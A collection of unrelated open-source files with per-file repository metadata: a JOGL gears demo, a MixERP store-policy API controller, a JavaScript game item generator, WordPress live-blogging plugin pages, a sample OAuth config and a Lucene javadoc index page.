(float)Math.cos(angle), r0 * (float)Math.sin(angle), -width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle + 3 * da), r1 * (float)Math.sin(angle + 3 * da), -width * 0.5f); gl.glVertex3f(r0 * (float)Math.cos(angle), r0 * (float)Math.sin(angle), -width * 0.5f); } gl.glEnd(); /* draw back sides of teeth */ gl.glBegin(GL2.GL_QUADS); for (i = 0; i < teeth; i++) { angle = i * 2.0f * (float) Math.PI / teeth; gl.glVertex3f(r1 * (float)Math.cos(angle + 3 * da), r1 * (float)Math.sin(angle + 3 * da), -width * 0.5f); gl.glVertex3f(r2 * (float)Math.cos(angle + 2 * da), r2 * (float)Math.sin(angle + 2 * da), -width * 0.5f); gl.glVertex3f(r2 * (float)Math.cos(angle + da), r2 * (float)Math.sin(angle + da), -width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle), r1 * (float)Math.sin(angle), -width * 0.5f); } gl.glEnd(); /* draw outward faces of teeth */ gl.glBegin(GL2.GL_QUAD_STRIP); for (i = 0; i < teeth; i++) { angle = i * 2.0f * (float) Math.PI / teeth; gl.glVertex3f(r1 * (float)Math.cos(angle), r1 * (float)Math.sin(angle), width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle), r1 * (float)Math.sin(angle), -width * 0.5f); u = r2 * (float)Math.cos(angle + da) - r1 * (float)Math.cos(angle); v = r2 * (float)Math.sin(angle + da) - r1 * (float)Math.sin(angle); len = (float)Math.sqrt(u * u + v * v); u /= len; v /= len; gl.glNormal3f(v, -u, 0.0f); gl.glVertex3f(r2 * (float)Math.cos(angle + da), r2 * (float)Math.sin(angle + da), width * 0.5f); gl.glVertex3f(r2 * (float)Math.cos(angle + da), r2 * (float)Math.sin(angle + da), -width * 0.5f); gl.glNormal3f((float)Math.cos(angle), (float)Math.sin(angle), 0.0f); gl.glVertex3f(r2 * (float)Math.cos(angle + 2 * da), r2 * (float)Math.sin(angle + 2 * da), width * 0.5f); gl.glVertex3f(r2 * (float)Math.cos(angle + 2 * da), r2 * (float)Math.sin(angle + 2 * da), -width * 0.5f); u = r1 * (float)Math.cos(angle + 3 * da) - r2 * (float)Math.cos(angle + 2 * da); v = r1 * (float)Math.sin(angle + 3 * da) - r2 * (float)Math.sin(angle + 2 * da); gl.glNormal3f(v, -u, 0.0f); gl.glVertex3f(r1 * (float)Math.cos(angle + 3 * da), r1 * (float)Math.sin(angle + 3 * da), width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(angle + 3 * da), r1 * (float)Math.sin(angle + 3 * da), -width * 0.5f); gl.glNormal3f((float)Math.cos(angle), (float)Math.sin(angle), 0.0f); } gl.glVertex3f(r1 * (float)Math.cos(0), r1 * (float)Math.sin(0), width * 0.5f); gl.glVertex3f(r1 * (float)Math.cos(0), r1 * (float)Math.sin(0), -width * 0.5f); gl.glEnd(); gl.glShadeModel(GL2.GL_SMOOTH); /* draw inside radius cylinder */ gl.glBegin(GL2.GL_QUAD_STRIP); for (i = 0; i <= teeth; i++) { angle = i * 2.0f * (float) Math.PI / teeth; gl.glNormal3f(-(float)Math.cos(angle), -(float)Math.sin(angle), 0.0f); gl.glVertex3f(r0 * (float)Math.cos(angle), r0 * (float)Math.sin(angle), -width * 0.5f); gl.glVertex3f(r0 * (float)Math.cos(angle), r0 * (float)Math.sin(angle), width * 0.5f); } gl.glEnd(); } class GearsKeyAdapter extends KeyAdapter { @Override public void keyPressed(KeyEvent e) { int kc = e.getKeyCode(); if(KeyEvent.VK_LEFT == kc) { view_roty -= 1; } else if(KeyEvent.VK_RIGHT == kc) { view_roty += 1; } else if(KeyEvent.VK_UP == kc) { view_rotx -= 1; } else if(KeyEvent.VK_DOWN == kc) { view_rotx += 1; } } } class GearsMouseAdapter extends MouseAdapter { @Override public void mousePressed(MouseEvent e) { prevMouseX = e.getX(); prevMouseY = e.getY(); } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseDragged(MouseEvent e) { final int x = e.getX(); final int y = e.getY(); int width=0, height=0; Object source = e.getSource(); if(source instanceof Window) { Window window = (Window) source; width=window.getWidth(); height=window.getHeight(); } else if(source instanceof GLAutoDrawable) { GLAutoDrawable glad = (GLAutoDrawable) source; width=glad.getWidth(); height=glad.getHeight(); } else if (GLProfile.isAWTAvailable() && source instanceof java.awt.Component) { java.awt.Component comp = (java.awt.Component) source; width=comp.getWidth(); height=comp.getHeight(); } else { throw new RuntimeException("Event source neither Window nor Component: "+source); } float thetaY = 360.0f * ( (float)(x-prevMouseX)/(float)width); float thetaX = 360.0f * ( (float)(prevMouseY-y)/(float)height); prevMouseX = x; prevMouseY = y; view_rotx += thetaX; view_roty += thetaY; } } }
isel-leic-cg/1415i-public
OpenGL/05-Gears-JOGL/src/Gears.java
Java
gpl-2.0
15,577
using System.Collections.Generic; using System.Net; using System.Net.Http; using System.Web.Http; using MixERP.Net.ApplicationState.Cache; using MixERP.Net.Common.Extensions; using MixERP.Net.EntityParser; using Newtonsoft.Json; using PetaPoco; namespace MixERP.Net.Api.Policy { /// <summary> /// Provides a direct HTTP access to perform various tasks such as adding, editing, and removing Store Policies. /// </summary> [RoutePrefix("api/v1.5/policy/store-policy")] public class StorePolicyController : ApiController { /// <summary> /// The StorePolicy data context. /// </summary> private readonly MixERP.Net.Schemas.Policy.Data.StorePolicy StorePolicyContext; public StorePolicyController() { this.LoginId = AppUsers.GetCurrent().View.LoginId.ToLong(); this.UserId = AppUsers.GetCurrent().View.UserId.ToInt(); this.OfficeId = AppUsers.GetCurrent().View.OfficeId.ToInt(); this.Catalog = AppUsers.GetCurrentUserDB(); this.StorePolicyContext = new MixERP.Net.Schemas.Policy.Data.StorePolicy { Catalog = this.Catalog, LoginId = this.LoginId }; } public long LoginId { get; } public int UserId { get; private set; } public int OfficeId { get; private set; } public string Catalog { get; } /// <summary> /// Counts the number of store policies. /// </summary> /// <returns>Returns the count of the store policies.</returns> [AcceptVerbs("GET", "HEAD")] [Route("count")] [Route("~/api/policy/store-policy/count")] public long Count() { try { return this.StorePolicyContext.Count(); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Returns an instance of store policy. /// </summary> /// <param name="storePolicyId">Enter StorePolicyId to search for.</param> /// <returns></returns> [AcceptVerbs("GET", "HEAD")] [Route("{storePolicyId}")] [Route("~/api/policy/store-policy/{storePolicyId}")] public MixERP.Net.Entities.Policy.StorePolicy Get(long storePolicyId) { try { return this.StorePolicyContext.Get(storePolicyId); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Creates a paginated collection containing 25 store policies on each page, sorted by the property StorePolicyId. /// </summary> /// <returns>Returns the first page from the collection.</returns> [AcceptVerbs("GET", "HEAD")] [Route("")] [Route("~/api/policy/store-policy")] public IEnumerable<MixERP.Net.Entities.Policy.StorePolicy> GetPagedResult() { try { return this.StorePolicyContext.GetPagedResult(); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Creates a paginated collection containing 25 store policies on each page, sorted by the property StorePolicyId. /// </summary> /// <param name="pageNumber">Enter the page number to produce the resultset.</param> /// <returns>Returns the requested page from the collection.</returns> [AcceptVerbs("GET", "HEAD")] [Route("page/{pageNumber}")] [Route("~/api/policy/store-policy/page/{pageNumber}")] public IEnumerable<MixERP.Net.Entities.Policy.StorePolicy> GetPagedResult(long pageNumber) { try { return this.StorePolicyContext.GetPagedResult(pageNumber); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Creates a filtered and paginated collection containing 25 store policies on each page, sorted by the property StorePolicyId. /// </summary> /// <param name="pageNumber">Enter the page number to produce the resultset.</param> /// <param name="filters">The list of filter conditions.</param> /// <returns>Returns the requested page from the collection using the supplied filters.</returns> [AcceptVerbs("POST")] [Route("get-where/{pageNumber}")] [Route("~/api/policy/store-policy/get-where/{pageNumber}")] public IEnumerable<MixERP.Net.Entities.Policy.StorePolicy> GetWhere(long pageNumber, [FromBody]dynamic filters) { try { List<EntityParser.Filter> f = JsonConvert.DeserializeObject<List<EntityParser.Filter>>(filters); return this.StorePolicyContext.GetWhere(pageNumber, f); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Displayfields is a lightweight key/value collection of store policies. /// </summary> /// <returns>Returns an enumerable key/value collection of store policies.</returns> [AcceptVerbs("GET", "HEAD")] [Route("display-fields")] [Route("~/api/policy/store-policy/display-fields")] public IEnumerable<DisplayField> GetDisplayFields() { try { return this.StorePolicyContext.GetDisplayFields(); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Adds your instance of Account class. /// </summary> /// <param name="storePolicy">Your instance of store policies class to add.</param> [AcceptVerbs("POST")] [Route("add/{storePolicy}")] [Route("~/api/policy/store-policy/add/{storePolicy}")] public void Add(MixERP.Net.Entities.Policy.StorePolicy storePolicy) { if (storePolicy == null) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.MethodNotAllowed)); } try { this.StorePolicyContext.Add(storePolicy); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Edits existing record with your instance of Account class. /// </summary> /// <param name="storePolicy">Your instance of Account class to edit.</param> /// <param name="storePolicyId">Enter the value for StorePolicyId in order to find and edit the existing record.</param> [AcceptVerbs("PUT")] [Route("edit/{storePolicyId}/{storePolicy}")] [Route("~/api/policy/store-policy/edit/{storePolicyId}/{storePolicy}")] public void Edit(long storePolicyId, MixERP.Net.Entities.Policy.StorePolicy storePolicy) { if (storePolicy == null) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.MethodNotAllowed)); } try { this.StorePolicyContext.Update(storePolicy, storePolicyId); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } /// <summary> /// Deletes an existing instance of Account class via StorePolicyId. /// </summary> /// <param name="storePolicyId">Enter the value for StorePolicyId in order to find and delete the existing record.</param> [AcceptVerbs("DELETE")] [Route("delete/{storePolicyId}")] [Route("~/api/policy/store-policy/delete/{storePolicyId}")] public void Delete(long storePolicyId) { try { this.StorePolicyContext.Delete(storePolicyId); } catch (UnauthorizedException) { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.Unauthorized)); } catch { throw new HttpResponseException(new HttpResponseMessage(HttpStatusCode.InternalServerError)); } } } }
ThiagoScar/mixerp
src/Libraries/Web API/Policy/StorePolicyController.cs
C#
gpl-2.0
10,361
function Item(pl, st, pr, n) { this._place = pl; this._stats = st; this._price = pr; this._name = n; } ItemManager = { //TODO: spawn items that aren't equipment _qualities: [ //Bad { name: "Rotten", p: 0.3, minlevel: 0, maxlevel: 2 }, { name: "Cracked", p: 0.7, minlevel: 0, maxlevel: 5 }, { name: "Old", p: 0.9, minlevel: 0, maxlevel: 10 }, //Good { name: "Superior", p: 1.3, minlevel: 8, maxlevel: 100 }, { name: "Master", p: 1.7, minlevel: 18, maxlevel: 100 }, { name: "Legendary", p: 2.4, minlevel: 25, maxlevel: 100 } ], _bases: [ //Amulets [ { name: "Amulet", stat: 0, min: 0, max: 0, level: 0, price: 15 }, { name: "Pendant", stat: 0, min: 0, max: 0, level: 10, price: 25 }, { name: "Necklace", stat: 0, min: 0, max: 0, level: 25, price: 50 }, { name: "Chain", stat: 0, min: 0, max: 0, level: 50, price: 100 } ], [ { name: "Helmet", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Headgear", stat: 5, min: 1, max: 10, level: 10, price: 10 }, { name: "Hat", stat: 5, min: 5, max: 20, level: 30, price: 25 }, { name: "Skullcap", stat: 5, min: 18, max: 26, level: 60, price: 100 } ], [ { name: "Ring", stat: 0, min: 0, max: 0, level: 0, price: 15 }, { name: "Loop", stat: 0, min: 0, max: 0, level: 10, price: 25 }, { name: "Band", stat: 0, min: 0, max: 0, level: 25, price: 50 } ], [ { name: "Ring", stat: 0, min: 0, max: 0, level: 0, price: 15 }, { name: "Loop", stat: 0, min: 0, max: 0, level: 10, price: 25 }, { name: "Band", stat: 0, min: 0, max: 0, level: 25, price: 50 } ], [ { name: "Pauldrons", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Spaulders", stat: 5, min: 1, max: 10, level: 10, price: 10 }, { name: "Shoulder Pads", stat: 5, min: 5, max: 20, level: 30, price: 25 } ], [ { name: "Cuirass", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Breastplate", stat: 5, min: 1, max: 5, level: 2, price: 5 }, { name: "Plate", stat: 5, min: 4, max: 8, level: 5, price: 12 }, { name: "Armour", stat: 5, min: 5, max: 12, level: 10, price: 17 }, { name: "Vest", stat: 5, min: 5, max: 20, level: 30, price: 25 } ], [ { name: "Gloves", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Mittens", stat: 5, min: 1, max: 10, level: 10, price: 10 }, { name: "Bracers", stat: 5, min: 5, max: 20, level: 30, price: 25 } ], [ { name: "Belt", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Girdle", stat: 5, min: 1, max: 10, level: 10, price: 10 }, { name: "Cincture", stat: 5, min: 5, max: 20, level: 30, price: 25 }, { name: "Waistband", stat: 5, min: 18, max: 26, level: 60, price: 100 } ], [ { name: "Pants", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Leggings", stat: 5, min: 1, max: 10, level: 10, price: 10 } ], [ { name: "Boots", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Greaves", stat: 5, min: 1, max: 10, level: 10, price: 10 }, { name: "Shoes", stat: 5, min: 5, max: 20, level: 30, price: 25 } ], [ { name: "Sword", stat: 6, min: 1, max: 2, level: 0, price: 1 }, { name: "Axe", stat: 6, min: 1, max: 5, level: 2, price: 5 }, { name: "Bastard Sword", stat: 6, min: 4, max: 8, level: 5, price: 12 }, { name: "Dagger", stat: 6, min: 5, max: 12, level: 7, price: 14 }, { name: "Club", stat: 6, min: 7, max: 15, level: 8, price: 17 }, { name: "Mace", stat: 6, min: 9, max: 16, level: 10, price: 18 }, { name: "Staff", stat: 6, min: 11, max: 18, level: 15, price: 20 }, { name: "Falchion", stat: 6, min: 15, max: 20, level: 30, price: 35 } ], [ { name: "Shield", stat: 5, min: 1, max: 2, level: 0, price: 1 }, { name: "Aegis", stat: 5, min: 1, max: 10, level: 10, price: 10 }, { name: "Bulwark", stat: 5, min: 5, max: 20, level: 30, price: 25 }, { name: "Buckler", stat: 5, min: 18, max: 26, level: 60, price: 100 } ] ], //TODO: Need a fn which input variables and it spits out a valid item (location, level, source(monster, chest)... //TODO: Resistance items _prefices: [ //DEF prefices { name: "Lined", stat: 5, min: 1, max: 4, level: 0, price: 2 }, { name: "Reinforced", stat: 5, min: 3, max: 7, level: 10, price: 10 }, { name: "Plated", stat: 5, min: 7, max: 12, level: 25, price: 200 }, //DMG prefices { name: "Lined", stat: 6, min: 1, max: 4, level: 0, price: 5 }, { name: "Reinforced", stat: 6, min: 3, max: 7, level: 10, price: 20 }, { name: "Plated", stat: 6, min: 7, max: 12, level: 25, price: 500 }, //HP prefices { name: "Healthy", stat: 3, min: 1, max: 10, level: 0, price: 5 }, { name: "Enduring", stat: 3, min: 3, max: 17, level: 10, price: 15 }, { name: "Hearty", stat: 3, min: 20, max: 40, level: 25, price: 750 }, //MP prefices { name: "Magic", stat: 4, min: 1, max: 20, level: 0, price: 2 }, { name: "Wise", stat: 4, min: 5, max: 25, level: 10, price: 12 }, { name: "Wizard's", stat: 4, min: 22, max: 50, level: 25, price: 300 } ], _suffices: [ //STR suffices { name: "of the Harpy", stat: 0, min: 1, max: 4, level: 0, price: 1 }, { name: "of the Boar", stat: 0, min: 3, max: 7, level: 10, price: 10 }, { name: "of the Titan", stat: 0, min: 7, max: 12, level: 25, price: 200 }, //DEX suffices { name: "of Budding", stat: 1, min: 1, max: 4, level: 0, price: 1 }, { name: "of Thorns", stat: 1, min: 3, max: 7, level: 2, price: 10 }, { name: "of Spikes", stat: 1, min: 5, max: 10, level: 8, price: 200 }, //INT suffices { name: "of Dampness", stat: 2, min: 1, max: 4, level: 0, price: 1 }, { name: "of Moisture", stat: 2, min: 2, max: 7, level: 8, price: 10 }, { name: "of Juciness", stat: 2, min: 9, max: 21, level: 35, price: 200 }, //Speed suffices { name: "of Hitching", stat: 7, min: 1, max: 4, level: 0, price: 1 }, { name: "of Running", stat: 7, min: 2, max: 7, level: 8, price: 10 }, { name: "of Riding", stat: 7, min: 9, max: 14, level: 15, price: 100 } ], getItem: function(m_lvl, c_lvl) { var st = [0,0,0,0,0,0,0,0,0,0,0,0]; var pr = 0; var pl = Math.floor(Math.random() * 12 + 1) - 1; //Random item type. var rand = Math.floor(Math.random() * this._bases[pl].length + 1) - 1; while(this._bases[rand].level > c_lvl) rand = Math.floor(Math.random() * this._bases.length + 1) - 1; var b = this._bases[pl][rand].name; st[this._bases[pl][rand].stat] += Math.floor(Math.random() * (this._bases[pl][rand].max - this._bases[pl][rand].min + 1)) + this._bases[pl][rand].min; pr += this._bases[pl][rand].price; rand = Math.floor(Math.random() * this._prefices.length + 1) - 1; while(this._prefices[rand].level > c_lvl) rand = Math.floor(Math.random() * this._prefices.length + 1) - 1; var p = this._prefices[rand].name; st[this._prefices[rand].stat] += Math.floor(Math.random() * (this._prefices[rand].max - this._prefices[rand].min + 1)) + this._prefices[rand].min; pr += this._prefices[rand].price; rand = Math.floor(Math.random() * this._suffices.length + 1) - 1; while(this._suffices[rand].level > c_lvl) rand = Math.floor(Math.random() * this._suffices.length + 1) - 1; var s = this._suffices[rand].name; st[this._suffices[rand].stat] += Math.floor(Math.random() * (this._suffices[rand].max - this._suffices[rand].min + 1)) + this._suffices[rand].min; pr += this._suffices[rand].price; //TODO: Not always have a quality rand = Math.floor(Math.random() * this._qualities.length + 1) - 1; while(this._qualities[rand].minlevel > c_lvl || this._qualities[rand].maxlevel <= c_lvl) rand = Math.floor(Math.random() * this._qualities.length + 1) - 1; var q = this._qualities[rand].name; //adjust mods with quality for(ss in st) { st[ss] = Math.round(st[ss] * this._qualities[rand].p); } pr = Math.round(pr * this._qualities[rand].p); if(q != "") n = q+" "+p+" "+b+" "+s; else n = p+" "+b+" "+s; return new Item(pl, st, pr, n); }, }
beaverusiv/AutoQuest
js/items.js
JavaScript
gpl-2.0
7,980
<?php /* Live Blogging for WordPress Copyright (C) 2010-2013 Chris Northwood <chris@pling.org.uk> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ class LiveBlogging_Admin_Page_Options { public function register_page() { add_submenu_page( 'options-general.php', __( 'Live Blogging', 'live-blogging' ), __( 'Live Blogging', 'live-blogging' ), 'manage_options', 'live-blogging-options', array( $this, 'render' ) ); } public function render() { ?> <div class="wrap"> <h2><?php _e( 'Live Blogging Options', 'live-blogging' ); ?></h2> <?php if ( LiveBlogging_Legacy::exists() ) : ?> <?php $this->render_migration_prompt(); ?> <?php endif; ?> <form method="post" action="options.php"> <?php settings_fields( 'live-blogging' ); ?> <h3><?php _e( 'Automatic Updating', 'live-blogging' ); ?></h3> <table class="form-table"> <?php $this->render_setting( 'LiveBlogging_Setting_UpdateMethod' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_Comments' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_TimedUpdatedFrequency' ); ?> </table> <h3><?php _e( 'Posting to Twitter', 'live-blogging' ); ?></h3> <table class="form-table"> <?php if ( function_exists( 'curl_init' ) ) : ?> <?php LiveBlogging::get_instance()->twitter->render_admin(); ?> <?php else : ?> <tr> <td colspan="2"> <strong><em> <?php _e( 'Twitter functionality disabled due to missing PHP CURL module', 'live-blogging' ); ?> </em></strong> </td> </tr> <?php endif; ?> <?php if ( LiveBlogging::get_instance()->twitter->twitter_authorised() ) : ?> <?php $this->render_setting( 'LiveBlogging_Setting_Twitter' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_TwitterComments' ); ?> <?php endif; ?> </table> <h3><?php _e( 'Live Blog Style', 'live-blogging' ); ?></h3> <table class="form-table"> <?php $this->render_setting( 'LiveBlogging_Setting_UpdateStyle' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_DateStyle' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_PostStyle' ); ?> </table> <h3><?php _e( 'Meteor Configuration', 'live-blogging' ); ?></h3> <table class="form-table"> <?php $this->render_setting( 'LiveBlogging_Setting_MeteorSubscriber' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_MeteorController' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_MeteorControllerPort' ); ?> <?php $this->render_setting( 'LiveBlogging_Setting_MeteorNamespace' ); ?> </table> <h3><?php _e( 'Advanced Settings', 'live-blogging' ); ?></h3> <table class="form-table"> <?php $this->render_setting( 'LiveBlogging_Setting_ContentHooks' ); ?> </table> <p class="submit"> <input type="submit" class="button-primary" value="<?php _e( 'Save Changes' ); ?>" /> </p> </form> </div> <?php } private function render_migration_prompt() { ?> <div class="updated"> <p> <?php _e( 'It appears you have live blogs created in version 1 of the plugin.', 'live-blogging' ); ?> <a href="tools.php?page=live-blogging-upgrade"><?php _e( 'Click here to update your legacy live blogs.', 'live-blogging' ); ?></a> </p> </div> <?php } /** * @param $setting_name string */ private function render_setting( $setting_name ) { /** @var LiveBlogging_Setting $setting */ $setting = new $setting_name(); ?> <tr> <th scope="row"><label for="<?php echo esc_attr( $setting::$setting_name ); ?>"><?php $setting->admin_label(); ?></label></th> <td><?php $setting::render_admin_options(); ?></td> </tr><?php } }
cnorthwood/liveblogging
src/main/php/LiveBlogging/Admin/Page/Options.php
PHP
gpl-2.0
4,360
module.exports = { client_id: "", secret: "", scope: "", redirectURI: 'http://localhost:8080/callback', //make sure this is the same as the callback URI in github // This token has to be from a user with permission to add students on Github ownerPersonalAccessToken: "", // User has to be a member of this group to add students mentorGroupId: 1163899, // Invitations will be sent to join this group studentGroupId: 1163900, // The name of the host host: "localhost", // The port for the server port: 8080 };
YagoGG/fossasia-gci-invite
config.sample.js
JavaScript
gpl-2.0
526
<?php /* * above page sidebar * @author bilal hassan <info@smartcatdesign.net> * */ ?> <?php if (!dynamic_sidebar('sidebar-below-page')) : ?> <?php endif; // end sidebar widget area ?>
Tamiiy/spartan-english
wp-content/themes/tyros/sidebar-below-page.php
PHP
gpl-2.0
191
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (version 1.7.0_67) on Thu Apr 09 10:33:08 MDT 2015 --> <meta http-equiv="Content-Type" content="text/html" charset="utf-8"> <title>org.apache.lucene.index (Lucene 5.1.0 API)</title> <meta name="date" content="2015-04-09"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> </head> <body> <h1 class="bar"><a href="../../../../org/apache/lucene/index/package-summary.html" target="classFrame">org.apache.lucene.index</a></h1> <div class="indexContainer"> <h2 title="Interfaces">Interfaces</h2> <ul title="Interfaces"> <li><a href="RandomIndexWriter.TestPoint.html" title="interface in org.apache.lucene.index" target="classFrame"><i>RandomIndexWriter.TestPoint</i></a></li> </ul> <h2 title="Classes">Classes</h2> <ul title="Classes"> <li><a href="AlcoholicMergePolicy.html" title="class in org.apache.lucene.index" target="classFrame">AlcoholicMergePolicy</a></li> <li><a href="AllDeletedFilterReader.html" title="class in org.apache.lucene.index" target="classFrame">AllDeletedFilterReader</a></li> <li><a href="AssertingDirectoryReader.html" title="class in org.apache.lucene.index" target="classFrame">AssertingDirectoryReader</a></li> <li><a href="AssertingLeafReader.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader</a></li> <li><a href="AssertingLeafReader.AssertingBinaryDocValues.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingBinaryDocValues</a></li> <li><a href="AssertingLeafReader.AssertingBits.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingBits</a></li> <li><a href="AssertingLeafReader.AssertingFields.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingFields</a></li> <li><a href="AssertingLeafReader.AssertingNumericDocValues.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingNumericDocValues</a></li> <li><a href="AssertingLeafReader.AssertingPostingsEnum.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingPostingsEnum</a></li> <li><a href="AssertingLeafReader.AssertingRandomAccessOrds.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingRandomAccessOrds</a></li> <li><a href="AssertingLeafReader.AssertingSortedDocValues.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingSortedDocValues</a></li> <li><a href="AssertingLeafReader.AssertingSortedNumericDocValues.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingSortedNumericDocValues</a></li> <li><a href="AssertingLeafReader.AssertingSortedSetDocValues.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingSortedSetDocValues</a></li> <li><a href="AssertingLeafReader.AssertingTerms.html" title="class in org.apache.lucene.index" target="classFrame">AssertingLeafReader.AssertingTerms</a></li> <li><a href="BaseCompoundFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseCompoundFormatTestCase</a></li> <li><a href="BaseCompressingDocValuesFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseCompressingDocValuesFormatTestCase</a></li> <li><a href="BaseDocValuesFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseDocValuesFormatTestCase</a></li> <li><a href="BaseFieldInfoFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseFieldInfoFormatTestCase</a></li> <li><a href="BaseMergePolicyTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseMergePolicyTestCase</a></li> <li><a href="BaseNormsFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseNormsFormatTestCase</a></li> <li><a href="BasePostingsFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BasePostingsFormatTestCase</a></li> <li><a href="BaseSegmentInfoFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseSegmentInfoFormatTestCase</a></li> <li><a href="BaseStoredFieldsFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseStoredFieldsFormatTestCase</a></li> <li><a href="BaseTermVectorsFormatTestCase.html" title="class in org.apache.lucene.index" target="classFrame">BaseTermVectorsFormatTestCase</a></li> <li><a href="BaseTermVectorsFormatTestCase.RandomTokenStream.html" title="class in org.apache.lucene.index" target="classFrame">BaseTermVectorsFormatTestCase.RandomTokenStream</a></li> <li><a href="FieldFilterLeafReader.html" title="class in org.apache.lucene.index" target="classFrame">FieldFilterLeafReader</a></li> <li><a href="MismatchedDirectoryReader.html" title="class in org.apache.lucene.index" target="classFrame">MismatchedDirectoryReader</a></li> <li><a href="MismatchedLeafReader.html" title="class in org.apache.lucene.index" target="classFrame">MismatchedLeafReader</a></li> <li><a href="MockRandomMergePolicy.html" title="class in org.apache.lucene.index" target="classFrame">MockRandomMergePolicy</a></li> <li><a href="PerThreadPKLookup.html" title="class in org.apache.lucene.index" target="classFrame">PerThreadPKLookup</a></li> <li><a href="RandomCodec.html" title="class in org.apache.lucene.index" target="classFrame">RandomCodec</a></li> <li><a href="RandomIndexWriter.html" title="class in org.apache.lucene.index" target="classFrame">RandomIndexWriter</a></li> <li><a href="SuppressingConcurrentMergeScheduler.html" title="class in org.apache.lucene.index" target="classFrame">SuppressingConcurrentMergeScheduler</a></li> <li><a href="ThreadedIndexingAndSearchingTestCase.html" title="class in org.apache.lucene.index" target="classFrame">ThreadedIndexingAndSearchingTestCase</a></li> </ul> <h2 title="Enums">Enums</h2> <ul title="Enums"> <li><a href="BaseTermVectorsFormatTestCase.Options.html" title="enum in org.apache.lucene.index" target="classFrame">BaseTermVectorsFormatTestCase.Options</a></li> </ul> </div> </body> </html>
marcialhernandez/TecnologiasWeb
lucene-5.1.0/docs/test-framework/org/apache/lucene/index/package-frame.html
HTML
gpl-2.0
6,344
